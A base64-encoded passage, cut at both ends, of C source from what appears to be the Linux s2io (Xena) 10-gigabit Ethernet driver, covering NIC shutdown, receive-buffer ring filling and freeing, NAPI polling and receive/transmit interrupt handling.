ZFxuIiwKCQkJZGV2LT5uYW1lLGNudCxpKTsKCQkjZW5kaWYKCX0KCXNwaW5fdW5sb2NrKCZuaWMt PnR4X2xvY2spOwp9CgovKiAgCiAqICBJbnB1dCBBcmd1bWVudHM6IAogKiAgIG5pYyAtIGRldmlj ZSBwcml2YXRlIHZhcmlhYmxlLgogKiAgUmV0dXJuIFZhbHVlOiAKICogICB2b2lkLgogKiAgRGVz Y3JpcHRpb246IAogKiAgIFRoaXMgZnVuY3Rpb24gZG9lcyBleGFjdGx5IHRoZSBvcHBvc2l0ZSBv ZiB3aGF0IHRoZSBzdGFydE5pYygpIAogKiAgIGZ1bmN0aW9uIGRvZXMuIFRoaXMgZnVuY3Rpb24g aXMgY2FsbGVkIHRvIHN0b3AgCiAqICAgdGhlIGRldmljZS4KICovCnN0YXRpYyB2b2lkIHN0b3BO aWMoc3RydWN0IHMyaW9fbmljICpuaWMpCnsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhF TkFfZGV2X2NvbmZpZ190ICopbmljLT5iYXIwOwoJcmVnaXN0ZXIgdTY0IHZhbDY0ID0gMDsKCXUx NiBpbnRlcnJ1cHRpYmxlLGk7CgovKiAgRGlzYWJsZSBhbGwgaW50ZXJydXB0cyAqLwoJaW50ZXJy dXB0aWJsZSA9IFRYX1RSQUZGSUNfSU5UUiB8IFJYX1RSQUZGSUNfSU5UUiB8IFRYX01BQ19JTlRS IHwKCQkJUlhfTUFDX0lOVFI7Cgllbl9kaXNfYWJsZV9OaWNJbnRycyhuaWMsIGludGVycnVwdGli bGUsIERJU0FCTEVfSU5UUlMpOwoKLyogIERpc2FibGUgUFJDcyAqLwoJZm9yKGk9MDtpPG5pYy0+ Y29uZmlnLlJ4UmluZ051bTtpKyspIHsKCQl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+cHJjX2N0cmxf bltpXSk7CgkJdmFsNjQgJj0gfigodTY0KVBSQ19DVFJMX1JDX0VOQUJMRUQpOwoJCXdyaXRlNjQo JmJhcjAtPnByY19jdHJsX25baV0sIHZhbDY0KTsKCX0KfQoKLyogIAogKiAgSW5wdXQgQXJndW1l bnRzOiAKICogIGRldmljZSBwcml2YXRlIHZhcmlhYmxlCiAqICBSZXR1cm4gVmFsdWU6IAogKiAg U1VDQ0VTUyBvbiBzdWNjZXNzIG9yIGFuIGFwcHJvcHJpYXRlIC12ZSB2YWx1ZSBvbiBmYWlsdXJl LgogKiAgRGVzY3JpcHRpb246IAogKiAgVGhlIGZ1bmN0aW9uIGFsbG9jYXRlcyBSeCBzaWRlIHNr YnMgYW5kIHB1dHMgdGhlIHBoeXNpY2FsCiAqICBhZGRyZXNzIG9mIHRoZXNlIGJ1ZmZlcnMgaW50 byB0aGUgUnhEIGJ1ZmZlciBwb2ludGVycywgc28gdGhhdCB0aGUgTklDCiAqICBjYW4gRE1BIHRo ZSByZWNlaXZlZCBmcmFtZSBpbnRvIHRoZXNlIGxvY2F0aW9ucy4KICogIFRoZSBOSUMgc3VwcG9y dHMgMyByZWNlaXZlIG1vZGVzLCB2aXoKICogIDEuIHNpbmdsZSBidWZmZXIsCiAqICAyLiB0aHJl ZSBidWZmZXIgYW5kCiAqICAzLiBGaXZlIGJ1ZmZlciBtb2Rlcy4KICogIEVhY2ggbW9kZSBkZWZp bmVzIGhvdyBtYW55IGZyYWdtZW50cyB0aGUgcmVjZWl2ZWQgZnJhbWUgd2lsbCBiZSBzcGxpdCAK ICogIHVwIGludG8gYnkgdGhlIE5JQy4gVGhlIGZyYW1lIGlzIHNwbGl0IGludG8gTDMgaGVhZGVy LCBMNCBIZWFkZXIsIAogKiAgTDQgcGF5bG9hZCBpbiB0aHJlZSBidWZmZXIgbW9kZSBhbmQgaW4g NSBidWZmZXIgbW9kZSwgTDQgcGF5bG9hZCBpdHNlbGYgCiAqICBpcyBzcGxpdCBpbnRvIDMgZnJh Z21lbnRzLiBBcyBvZiBub3cgb25seSBzaW5nbGUgYnVmZmVyIG1vZGUgaXMgc3VwcG9ydGVkLgog Ki8KaW50IGZpbGxfcnhfYnVmZmVycyhzdHJ1Y3QgczJpb19uaWMgKm5pYywgaW50IHJpbmdfbm8p CnsKCXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSBuaWMtPmRldjsKCXN0cnVjdCBza19idWZmICpz a2I7CglSeERfdCAqcnhkcDsKCWludCBvZmYsb2ZmMSxzaXplLCBibG9ja19ubywgYmxvY2tfbm8x OwoJaW50IG9mZnNldCwgb2Zmc2V0MTsKCXUzMiBhbGxvY190YWIgPSAwOwoJdTMyIGFsbG9jX2Nu dCA9CW5pYy0+cGt0X2NudFtyaW5nX25vXSAtIAoJCWF0b21pY19yZWFkKCZuaWMtPnJ4X2J1ZnNf bGVmdFtyaW5nX25vXSk7CgoJaWYoZnJhbWVfbGVuW3Jpbmdfbm9dKSB7CgkJaWYoZnJhbWVfbGVu W3Jpbmdfbm9dID4gZGV2LT5tdHUpIAoJCQlkZXYtPm10dSA9IGZyYW1lX2xlbltyaW5nX25vXTsK CQlzaXplID0gZnJhbWVfbGVuW3Jpbmdfbm9dK0hFQURFUl9FVEhFUk5FVF9JSV84MDJfM19TSVpF KwoJCQlIRUFERVJfODAyXzJfU0laRStIRUFERVJfU05BUF9TSVpFOwoJfSBlbHNlIHsKCQlzaXpl ID0gZGV2LT5tdHUrSEVBREVSX0VUSEVSTkVUX0lJXzgwMl8zX1NJWkUrCgkJCUhFQURFUl84MDJf Ml9TSVpFK0hFQURFUl9TTkFQX1NJWkU7IAoJfQoKCXdoaWxlKGFsbG9jX3RhYiA8IGFsbG9jX2Nu dCkgewoJCWJsb2NrX25vPW5pYy0+bWFjX2NvbnRyb2wucnhfY3Vycl9wdXRfaW5mb1tyaW5nX25v XS4KCQkJCWJsb2NrX2luZGV4OwoJCWJsb2NrX25vMT1uaWMtPm1hY19jb250cm9sLnJ4X2N1cnJf Z2V0X2luZm9bcmluZ19ub10uCgkJCQlibG9ja19pbmRleDsKCQlvZmY9bmljLT5tYWNfY29udHJv bC5yeF9jdXJyX3B1dF9pbmZvW3Jpbmdfbm9dLm9mZnNldDsKCQlvZmYxPW5pYy0+bWFjX2NvbnRy b2wucnhfY3Vycl9nZXRfaW5mb1tyaW5nX25vXS5vZmZzZXQ7CgkJb2Zmc2V0ID0gYmxvY2tfbm8q KE1BWF9SWERTX1BFUl9CTE9DSysxKStvZmY7CgkJb2Zmc2V0MSA9IGJsb2NrX25vMSooTUFYX1JY RFNfUEVSX0JMT0NLKzEpK29mZjE7CgoJCXJ4ZHAgPSBuaWMtPnJ4X2Jsb2Nrc1tyaW5nX25vXVti bG9ja19ub10uCgkJCWJsb2NrX3ZpcnRfYWRkcitvZmY7CgkJaWYoKG9mZnNldCA9PSBvZmZzZXQx KSYmKHJ4ZHAtPkhvc3RfQ29udHJvbCkpIHsKCQkJREJHX1BSSU5UKElOVFJfREJHLCIlczogR2V0 IGFuZCBQdXQiLGRldi0+bmFtZSk7CgkJCURCR19QUklOVChJTlRSX0RCRywiIGluZm8gZXF1YXRl ZFxuIik7CgkJCWdvdG8gZW5kOwoJCX0KCgkJaWYocnhkcC0+Q29udHJvbF8xID09IEVORF9PRl9C TE9DSykgewoJCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9bcmluZ19ub10uCgkJ CQlibG9ja19pbmRleCsrOwoJCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9bcmlu Z19ub10uCgkJCQlibG9ja19pbmRleCAlPW5pYy0+YmxvY2tfY291bnRbcmluZ19ub107CgkJCWJs b2NrX25vID0gbmljLT5tYWNfY29udHJvbC5yeF9jdXJyX3B1dF9pbmZvCgkJCQkJW3Jpbmdfbm9d LmJsb2NrX2luZGV4OwoJCQlyeGRwID0gKFJ4RF90ICopKChkbWFhZGRyX3QpcnhkcC0+Q29udHJv bF8yKTsKCQkJREJHX1BSSU5UKElOVFJfREJHLCIlczogTmV4dCBibG9jayBhdDogJXBcbiIsCgkJ CQlkZXYtPm5hbWUscnhkcCk7CgkJCW9mZisrOwoJCQlvZmYgJT0gKE1BWF9SWERTX1BFUl9CTE9D SysxKTsKCQkJbmljLT5tYWNfY29udHJvbC5yeF9jdXJyX3B1dF9pbmZvW3Jpbmdfbm9dLm9mZnNl dCA9IG9mZjsKCQl9CgoJCWlmKHJ4ZHAtPkNvbnRyb2xfMSAmIFJYRF9PV05fWEVOQSkgewoJCQlu aWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9bcmluZ19ub10uCgkJCQlvZmZzZXQgPSBv ZmY7CgkJCWdvdG8gZW5kOwoJCX0KCgkJc2tiID0gZGV2X2FsbG9jX3NrYihzaXplK0hFQURFUl9B TElHTl9MQVlFUl8zKTsKCQlpZighc2tiKSB7CgkJCURCR19QUklOVChFUlJfREJHLCIlczogT3V0 IG9mICIsZGV2LT5uYW1lKTsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIm1lbW9yeSB0byBhbGxvY2F0 ZSBTS0JzXG4iKTsKCQkJcmV0dXJuIC1FTk9NRU07CgkJfQoJCXNrYl9yZXNlcnZlKHNrYixIRUFE RVJfQUxJR05fTEFZRVJfMyk7CgkJbWVtc2V0KHJ4ZHAsMCxzaXplb2YoUnhEX3QpKTsKCQlyeGRw LT5CdWZmZXIwX3B0ciA9IChkbWFhZGRyX3QpIHBjaV9tYXBfc2luZ2xlCgkJCShuaWMtPnBkZXYs c2tiLT5kYXRhLHNpemUsUENJX0RNQV9GUk9NREVWSUNFKTsKCQlyeGRwLT5Db250cm9sXzIgJj0g KH5NQVNLX0JVRkZFUjBfU0laRSk7CgkJcnhkcC0+Q29udHJvbF8yIHw9IFNFVF9CVUZGRVIwX1NJ WkUoc2l6ZSk7CgkJcnhkcC0+SG9zdF9Db250cm9sID0gKGRtYWFkZHJfdCkoc2tiKTsKCQlyeGRw LT5Db250cm9sXzEgfD0gUlhEX09XTl9YRU5BOwoJCQlvZmYrKzsKCQlvZmYgJT0gKE1BWF9SWERT X1BFUl9CTE9DSysxKTsKCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfcHV0X2luZm9bcmluZ19u b10ub2Zmc2V0ID0gb2ZmOwoJCWF0b21pY19pbmMoJm5pYy0+cnhfYnVmc19sZWZ0W3Jpbmdfbm9d KTsKCQlhbGxvY190YWIrKzsKCX0KCQplbmQ6CglyZXR1cm4gU1VDQ0VTUzsKfQoKLyogIAogKiAg SW5wdXQgQXJndW1lbnRzOiAKICogIGRldmljZSBwcml2YXRlIHZhcmlhYmxlLgogKiAgUmV0dXJu IFZhbHVlOiAKICogIE5PTkUuCiAqICBEZXNjcmlwdGlvbjogCiAqICBUaGlzIGZ1bmN0aW9uIHdp bGwgZnJlZSBhbGwgUnggYnVmZmVycyBhbGxvY2F0ZWQgYnkgaG9zdC4KICovCnN0YXRpYyB2b2lk IGZyZWVSeEJ1ZmZlcnMoc3RydWN0IHMyaW9fbmljICpzcCkKewoJc3RydWN0IG5ldF9kZXZpY2Ug KmRldiA9IHNwLT5kZXY7CglpbnQgaSxqLGJsaz0wLG9mZiwgYnVmX2NudCA9IDA7CglSeERfdCAq cnhkcDsKCXN0cnVjdCBza19idWZmICpza2I7CgoJZm9yKGk9MDsgaTxzcC0+Y29uZmlnLlJ4Umlu Z051bTsgaSsrKSB7CgkJZm9yKGo9MCxibGs9MDsgajxzcC0+Y29uZmlnLlJ4Q2ZnW2ldLk51bVJ4 ZDsgaisrKSB7CgkJCW9mZiA9IGolKE1BWF9SWERTX1BFUl9CTE9DSysxKTsKCQkJcnhkcCA9IHNw LT5yeF9ibG9ja3NbaV1bYmxrXS5ibG9ja192aXJ0X2FkZHIrb2ZmOwoKCQkJaWYocnhkcC0+Q29u dHJvbF8xID09IEVORF9PRl9CTE9DSykgewoJCQkJcnhkcCA9IChSeERfdCAqKSgoZG1hYWRkcl90 KXJ4ZHAtPkNvbnRyb2xfMik7CgkJCQlqKys7CgkJCQlibGsrKzsKCQkJfQoKCQkJc2tiID0gKHN0 cnVjdCBza19idWZmICopKChkbWFhZGRyX3QpcnhkcC0+SG9zdF9Db250cm9sKTsKCQkJaWYoc2ti KSB7CgkJCQlwY2lfdW5tYXBfc2luZ2xlKHNwLT5wZGV2LCByeGRwLT5CdWZmZXIwX3B0ciwgCgkJ CQkJZGV2LT5tdHUrSEVBREVSX0VUSEVSTkVUX0lJXzgwMl8zX1NJWkUrCgkJCQkJSEVBREVSXzgw Ml8yX1NJWkUrSEVBREVSX1NOQVBfU0laRSwKCQkJCQlQQ0lfRE1BX0ZST01ERVZJQ0UpOwoJCQkJ ZGV2X2tmcmVlX3NrYihza2IpOwoJCQkJYXRvbWljX2RlYygmc3AtPnJ4X2J1ZnNfbGVmdFtpXSk7 CgkJCQlidWZfY250Kys7CgkJCX0KCQkJbWVtc2V0KHJ4ZHAsIDAsIHNpemVvZihSeERfdCkpOwoJ CX0KCQlzcC0+bWFjX2NvbnRyb2wucnhfY3Vycl9wdXRfaW5mb1tpXS5ibG9ja19pbmRleCA9IDA7 CgkJc3AtPm1hY19jb250cm9sLnJ4X2N1cnJfZ2V0X2luZm9baV0uYmxvY2tfaW5kZXggPSAwOwoJ CXNwLT5tYWNfY29udHJvbC5yeF9jdXJyX3B1dF9pbmZvW2ldLm9mZnNldCA9IDA7CgkJc3AtPm1h Y19jb250cm9sLnJ4X2N1cnJfZ2V0X2luZm9baV0ub2Zmc2V0ID0gMDsKCQlhdG9taWNfc2V0KCZz cC0+cnhfYnVmc19sZWZ0W2ldLDApOwoJCURCR19QUklOVChJTklUX0RCRywiJXM6IEZyZWVkIDB4 JXggUnhEcyBvbiByaW5nJWRcbiIsCgkJCWRldi0+bmFtZSwgYnVmX2NudCxpKTsKCX0KfQoKLyoK ICogIElucHV0IEFyZ3VtZW50OiAKICogICBkZXYgLSBwb2ludGVyIHRvIHRoZSBkZXZpY2Ugc3Ry dWN0dXJlLgogKiAgIGJ1ZGdldCAtIFRoZSBudW1iZXIgb2YgcGFja2V0cyB0aGF0IHdlcmUgYnVk Z2V0ZWQgdG8gYmUgcHJvY2Vzc2VkIGR1cmluZwogKiAgIG9uZSBwYXNzIHRocm91Z2ggdGhlICdQ b2xsIiBmdW5jdGlvbi4KICogIFJldHVybiB2YWx1ZToKICogICAwIG9uIHN1Y2Nlc3MgYW5kIDEg aWYgdGhlcmUgYXJlIE5vIFJ4IHBhY2tldHMgdG8gYmUgcHJvY2Vzc2VkLgogKiAgRGVzY3JpcHRp b246CiAqICAgQ29tZXMgaW50byBwaWN0dXJlIG9ubHkgaWYgTkFQSSBzdXBwb3J0IGhhcyBiZWVu IGluY29ycG9yYXRlZC4gSXQgZG9lcwogKiAgIHRoZSBzYW1lIHRoaW5nIHRoYXQgcnhJbnRySGFu ZGxlciBkb2VzLCBidXQgbm90IGluIGEgaW50ZXJydXB0IGNvbnRleHQKICogICBhbHNvIEl0IHdp bGwgcHJvY2VzcyBvbmx5IGEgZ2l2ZW4gbnVtYmVyIG9mIHBhY2tldHMuCiAqLwojaWZkZWYgQ09O RklHVVJFX05BUElfU1VQUE9SVApzdGF0aWMgaW50IHMyaW9fcG9sbChzdHJ1Y3QgbmV0X2Rldmlj ZSAqZGV2LCBpbnQgKmJ1ZGdldCkKewoJbmljX3QgKm5pYyA9IChuaWNfdCAqKWRldi0+cHJpdjsK CVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhFTkFfZGV2X2NvbmZpZ190ICopbmljLT5iYXIw OwoJaW50IHBrdHNfdG9fcHJvY2VzcyA9ICpidWRnZXQsIHBrdF9jbnQ9MDsKCXJlZ2lzdGVyIHU2 NCB2YWw2NCA9IDA7CglyeF9jdXJyX2dldF9pbmZvX3Qgb2Zmc2V0X2luZm87CglpbnQgaSxibG9j a19ubzsKCXUxNiB2YWwxNixja3N1bTsKCXN0cnVjdCBza19idWZmICpza2I7CglSeERfdCAqcnhk cDsKCglpZihwa3RzX3RvX3Byb2Nlc3MgPiBkZXYtPnF1b3RhKQoJCXBrdHNfdG9fcHJvY2VzcyA9 IGRldi0+cXVvdGE7CgkKCXZhbDY0ID0gcmVhZDY0KCZiYXIwLT5yeF90cmFmZmljX2ludCk7Cgl3 cml0ZTY0KCZiYXIwLT5yeF90cmFmZmljX2ludCwgdmFsNjQpOwoJLy9wcmludGsoIjwxPiBJbiBT MklPIFBvbGxpbmcgZnVuY3Rpb25cbiIpOwoKCWZvcihpPTA7aTxuaWMtPmNvbmZpZy5SeFJpbmdO dW07aSsrKSB7CgkJaWYoLS1wa3RzX3RvX3Byb2Nlc3MgPCAwKSB7CgkJCWdvdG8gbm9fcng7CgkJ fQoJCW9mZnNldF9pbmZvID0gbmljLT5tYWNfY29udHJvbC5yeF9jdXJyX2dldF9pbmZvW2ldOwoJ CWJsb2NrX25vID0gb2Zmc2V0X2luZm8uYmxvY2tfaW5kZXg7CgkJcnhkcCA9IG5pYy0+cnhfYmxv Y2tzW2ldW2Jsb2NrX25vXS5ibG9ja192aXJ0X2FkZHIgKyAKCQkJb2Zmc2V0X2luZm8ub2Zmc2V0 OwoJCXdoaWxlKCEocnhkcC0+Q29udHJvbF8xICYgUlhEX09XTl9YRU5BKSkgewoJCQlpZihyeGRw LT5Db250cm9sXzEgPT0gRU5EX09GX0JMT0NLKSB7CgkJCQlyeGRwID0gKFJ4RF90ICopKChkbWFh ZGRyX3QpcnhkcC0+Q29udHJvbF8yKTsKCQkJCW9mZnNldF9pbmZvLm9mZnNldCsrOwoJCQkJb2Zm c2V0X2luZm8ub2Zmc2V0ICU9IChNQVhfUlhEU19QRVJfQkxPQ0srMSk7CgkJCQlibG9ja19ubysr OwoJCQkJYmxvY2tfbm8gJT0gbmljLT5ibG9ja19jb3VudFtpXTsKCQkJCW5pYy0+bWFjX2NvbnRy b2wucnhfY3Vycl9nZXRfaW5mb1tpXS5vZmZzZXQgPQoJCQkJCW9mZnNldF9pbmZvLm9mZnNldDsK CQkJCW5pYy0+bWFjX2NvbnRyb2wucnhfY3Vycl9nZXRfaW5mb1tpXS5ibG9ja19pbmRleAoJCQkJ CT0gYmxvY2tfbm87CgkJCQljb250aW51ZTsKCQkJfQoJCQlza2IgPSAoc3RydWN0IHNrX2J1ZmYg KikoKGRtYWFkZHJfdClyeGRwLT5Ib3N0X0NvbnRyb2wpOwoJCQlpZihza2IgPT0gTlVMTCkgewoJ CQkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiBUaGUgc2tiIGlzICIsZGV2LT5uYW1lKTsKCQkJCURC R19QUklOVChFUlJfREJHLCJOdWxsIGluIFJ4IEludHJcbiIpOwoJCQkJcmV0dXJuIDA7CgkJCX0K CQkJdmFsNjQgPSBSWERfR0VUX0JVRkZFUjBfU0laRShyeGRwLT5Db250cm9sXzIpOwoJCQl2YWwx NiA9ICh1MTYpKHZhbDY0ID4+IDQ4KTsKCQkJY2tzdW0gPSBSWERfR0VUX0w0X0NLU1VNKHJ4ZHAt PkNvbnRyb2xfMSk7CgkJCXBjaV91bm1hcF9zaW5nbGUobmljLT5wZGV2LCByeGRwLT5CdWZmZXIw X3B0ciwgCgkJCQlkZXYtPm10dSArIEhFQURFUl9FVEhFUk5FVF9JSV84MDJfM19TSVpFICsKCQkJ CUhFQURFUl84MDJfMl9TSVpFK0hFQURFUl9TTkFQX1NJWkUsIAoJCQkJUENJX0RNQV9GUk9NREVW SUNFKTsKCQkJcnhPc21IYW5kbGVyKG5pYyx2YWwxNixyeGRwLGkpOwoJCQlwa3RfY250Kys7CgkJ CW9mZnNldF9pbmZvLm9mZnNldCsrOwoJCQlvZmZzZXRfaW5mby5vZmZzZXQgJT0gKE1BWF9SWERT X1BFUl9CTE9DSysxKTsKCQkJcnhkcCA9IG5pYy0+cnhfYmxvY2tzW2ldW2Jsb2NrX25vXS5ibG9j a192aXJ0X2FkZHIgKwoJCQlvZmZzZXRfaW5mby5vZmZzZXQ7CgkJCW5pYy0+bWFjX2NvbnRyb2wu cnhfY3Vycl9nZXRfaW5mb1tpXS5vZmZzZXQgPSAKCQkJCW9mZnNldF9pbmZvLm9mZnNldDsKCQl9 Cgl9CglpZighcGt0X2NudCkKCQlwa3RfY250ID0gMTsKCglmb3IoaT0wO2k8bmljLT5jb25maWcu UnhSaW5nTnVtO2krKykKCQlmaWxsX3J4X2J1ZmZlcnMobmljLCBpKTsKCglkZXYtPnF1b3RhIC09 IHBrdF9jbnQ7CgkqYnVkZ2V0IC09IHBrdF9jbnQ7CgluZXRpZl9yeF9jb21wbGV0ZShkZXYpOwoK LyogUmUgZW5hYmxlIHRoZSBSeCBpbnRlcnJ1cHRzLiAqLwoJZW5fZGlzX2FibGVfTmljSW50cnMo bmljLCBSWF9UUkFGRklDX0lOVFIsIEVOQUJMRV9JTlRSUyk7CglyZXR1cm4gMDsKCQpub19yeDoK CWZvcihpPTA7aTxuaWMtPmNvbmZpZy5SeFJpbmdOdW07aSsrKQoJCWZpbGxfcnhfYnVmZmVycyhu aWMsIGkpOwoJZGV2LT5xdW90YSAtPSBwa3RfY250OwoJKmJ1ZGdldCAtPSBwa3RfY250OwoJcmV0 dXJuIDE7Cn0KI2Vsc2UKLyogIAogKiAgSW5wdXQgQXJndW1lbnRzOiAKICogIGRldmljZSBwcml2 YXRlIHZhcmlhYmxlLgogKiAgUmV0dXJuIFZhbHVlOiAKICogIE5PTkUuCiAqICBEZXNjcmlwdGlv bjogCiAqIElmIHRoZSBpbnRlcnJ1cHQgaXMgYmVjYXVzZSBvZiBhIHJlY2VpdmVkIGZyYW1lIG9y IGlmIHRoZSAKICogIHJlY2VpdmUgcmluZyBjb250YWlucyBmcmVzaCBhcyB5ZXQgdW4tcHJvY2Vz c2VkIGZyYW1lcywgdGhpcyBmdW5jdGlvbiBpcwogKiAgY2FsbGVkLiBJdCBwaWNrcyBvdXQgdGhl IFJ4RCBhdCB3aGljaCBwbGFjZSB0aGUgbGFzdCBSeCBwcm9jZXNzaW5nIGhhZCAKICogIHN0b3Bw ZWQgYW5kIHNlbmRzIHRoZSBza2IgdG8gdGhlIE9TTSdzIFJ4IGhhbmRsZXIgYW5kIHRoZW4gaW5j cmVtZW50cyAKICogIHRoZSBvZmZzZXQuCiAqLwpzdGF0aWMgdm9pZCByeEludHJIYW5kbGVyKHN0 cnVjdCBzMmlvX25pYyAqbmljKQp7CglzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gKHN0cnVjdCBu ZXRfZGV2aWNlICopbmljLT5kZXY7CglYRU5BX2Rldl9jb25maWdfdCAqYmFyMCA9IChYRU5BX2Rl dl9jb25maWdfdCAqKW5pYy0+YmFyMDsKCXJ4X2N1cnJfZ2V0X2luZm9fdCBvZmZzZXRfaW5mbzsK CVJ4RF90ICAgKnJ4ZHA7CglzdHJ1Y3Qgc2tfYnVmZiAqc2tiOwoJdTE2IHZhbDE2LGNrc3VtOwoJ cmVnaXN0ZXIgdTY0IHZhbDY0ID0gMDsKCWludCBpLGJsb2NrX25vOwoKCSNpZiBERUJVR19PTgoJ bmljLT5yeGludF9jbnQrKzsKCSNlbmRpZgoKLyogcnhfdHJhZmZpY19pbnQgcmVnIGlzIGFuIFIx IHJlZ2lzdGVyLCBoZW5jZSB3ZSByZWFkIGFuZCB3cml0ZSBiYWNrIAogKiB0aGUgc2FtZXZhbHVl IGluIHRoZSByZWdpc3RlciB0byBjbGVhciBpdC4KICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+ cnhfdHJhZmZpY19pbnQpOwoJd3JpdGU2NCgmYmFyMC0+cnhfdHJhZmZpY19pbnQsIHZhbDY0KTsK Cglmb3IoaT0wO2k8bmljLT5jb25maWcuUnhSaW5nTnVtO2krKykgewoJCW9mZnNldF9pbmZvID0g bmljLT5tYWNfY29udHJvbC5yeF9jdXJyX2dldF9pbmZvW2ldOwoJCWJsb2NrX25vID0gb2Zmc2V0 X2luZm8uYmxvY2tfaW5kZXg7CgkJcnhkcCA9IG5pYy0+cnhfYmxvY2tzW2ldW2Jsb2NrX25vXS5i bG9ja192aXJ0X2FkZHIgKyAKCQkJb2Zmc2V0X2luZm8ub2Zmc2V0OwoJCXdoaWxlKCEocnhkcC0+ Q29udHJvbF8xICYgUlhEX09XTl9YRU5BKSkgewoJCQlpZihyeGRwLT5Db250cm9sXzEgPT0gRU5E X09GX0JMT0NLKSB7CgkJCQlyeGRwID0gKFJ4RF90ICopKChkbWFhZGRyX3QpcnhkcC0+Q29udHJv bF8yKTsKCQkJCW9mZnNldF9pbmZvLm9mZnNldCsrOwoJCQkJb2Zmc2V0X2luZm8ub2Zmc2V0ICU9 IChNQVhfUlhEU19QRVJfQkxPQ0srMSk7CgkJCQlibG9ja19ubysrOwoJCQkJYmxvY2tfbm8gJT0g bmljLT5ibG9ja19jb3VudFtpXTsKCQkJCW5pYy0+bWFjX2NvbnRyb2wucnhfY3Vycl9nZXRfaW5m b1tpXS5vZmZzZXQgPQoJCQkJCW9mZnNldF9pbmZvLm9mZnNldDsKCQkJCW5pYy0+bWFjX2NvbnRy b2wucnhfY3Vycl9nZXRfaW5mb1tpXS5ibG9ja19pbmRleCAJCQkJCT0gYmxvY2tfbm87CgkJCQlj b250aW51ZTsKCQkJfQoJCQlza2IgPSAoc3RydWN0IHNrX2J1ZmYgKikoKGRtYWFkZHJfdClyeGRw LT5Ib3N0X0NvbnRyb2wpOwoJCQlpZihza2IgPT0gTlVMTCkgewoJCQkJREJHX1BSSU5UKEVSUl9E QkcsIiVzOiBUaGUgc2tiIGlzICIsIGRldi0+bmFtZSk7CgkJCQlEQkdfUFJJTlQoRVJSX0RCRywi TnVsbCBpbiBSeCBJbnRyXG4iKTsKCQkJCXJldHVybjsKCQkJfQoJCQl2YWw2NCA9IFJYRF9HRVRf QlVGRkVSMF9TSVpFKHJ4ZHAtPkNvbnRyb2xfMik7CgkJCXZhbDE2ID0gKHUxNikodmFsNjQgPj4g NDgpOwoJCQlja3N1bSA9IFJYRF9HRVRfTDRfQ0tTVU0ocnhkcC0+Q29udHJvbF8xKTsKCQkJcGNp X3VubWFwX3NpbmdsZShuaWMtPnBkZXYsIHJ4ZHAtPkJ1ZmZlcjBfcHRyLCAKCQkJCWRldi0+bXR1 ICsgSEVBREVSX0VUSEVSTkVUX0lJXzgwMl8zX1NJWkUgKwoJCQkJSEVBREVSXzgwMl8yX1NJWkUr SEVBREVSX1NOQVBfU0laRSwgCgkJCQlQQ0lfRE1BX0ZST01ERVZJQ0UpOwoJCQlyeE9zbUhhbmRs ZXIobmljLHZhbDE2LHJ4ZHAsaSk7CgkJCW9mZnNldF9pbmZvLm9mZnNldCsrOwoJCQlvZmZzZXRf aW5mby5vZmZzZXQgJT0gKE1BWF9SWERTX1BFUl9CTE9DSysxKTsKCQkJcnhkcCA9IG5pYy0+cnhf YmxvY2tzW2ldW2Jsb2NrX25vXS5ibG9ja192aXJ0X2FkZHIgKwoJCQkJb2Zmc2V0X2luZm8ub2Zm c2V0OwoJCQluaWMtPm1hY19jb250cm9sLnJ4X2N1cnJfZ2V0X2luZm9baV0ub2Zmc2V0ID0gCgkJ CQlvZmZzZXRfaW5mby5vZmZzZXQ7CgkJfQoJfQp9CiNlbmRpZgoKLyogIAogKiAgSW5wdXQgQXJn dW1lbnRzOiAKICogIGRldmljZSBwcml2YXRlIHZhcmlhYmxlCiAqICBSZXR1cm4gVmFsdWU6IAog KiAgTk9ORQogKiAgRGVzY3JpcHRpb246IAogKiAgSWYgYW4gaW50ZXJydXB0IHdhcyByYWlzZWQg dG8gaW5kaWNhdGUgRE1BIGNvbXBsZXRlIG9mIHRoZSAKICogIFR4IHBhY2tldCwgdGhpcyBmdW5j dGlvbiBpcyBjYWxsZWQuIEl0IGlkZW50aWZpZXMgdGhlIGxhc3QgVHhEIHdob3NlIGJ1ZmZlcgog KiAgd2FzIGZyZWVkIGFuZCBmcmVlcyBhbGwgc2ticyB3aG9zZSBkYXRhIGhhdmUgYWxyZWFkeSBE TUEnZWQgaW50byB0aGUgTklDcwogKiAgaW50ZXJuYWwgbWVtb3J5LgogKi8Kc3RhdGljIHZvaWQg dHhJbnRySGFuZGxlcihzdHJ1Y3QgczJpb19uaWMgKm5pYykKewoJWEVOQV9kZXZfY29uZmlnX3Qg KmJhcjAgPSAoWEVOQV9kZXZfY29uZmlnX3QgKiluaWMtPmJhcjA7CglzdHJ1Y3QgbmV0X2Rldmlj ZSAqZGV2ID0gKHN0cnVjdCBuZXRfZGV2aWNlICopbmljLT5kZXY7Cgl0eF9jdXJyX2dldF9pbmZv X3Qgb2Zmc2V0X2luZm8sIG9mZnNldF9pbmZvMTsKCXN0cnVjdCBza19idWZmICpza2IsICpxc2ti OwoJVHhEX3QgKnR4ZGxwOwkKCXJlZ2lzdGVyIHU2NCB2YWw2NCA9IDA7CglpbnQgaTsKCSNpZmRl ZiBBUkNIX1BQQzY0Cgl1MTYgaixmcmdfY250OwoJI2VuZGlmCgkjaWYgREVCVUdfT04KCWludCBj bnQgPSAwOwoJbmljLT50eGludF9jbnQrKzsKCSNlbmRpZgoKLyogdHhfdHJhZmZpY19pbnQgcmVn IGlzIGFuIFIxIHJlZ2lzdGVyLCBoZW5jZSB3ZSByZWFkIGFuZCB3cml0ZSBiYWNrIAoqIHRoZSBz YW1ldmFsdWUgaW4gdGhlIHJlZ2lzdGVyIHRvIGNsZWFyIGl0LgoqLwoJdmFsNjQgPSByZWFkNjQo JmJhcjAtPnR4X3RyYWZmaWNfaW50KTsKCXdyaXRlNjQoJmJhcjAtPnR4X3RyYWZmaWNfaW50LCB2 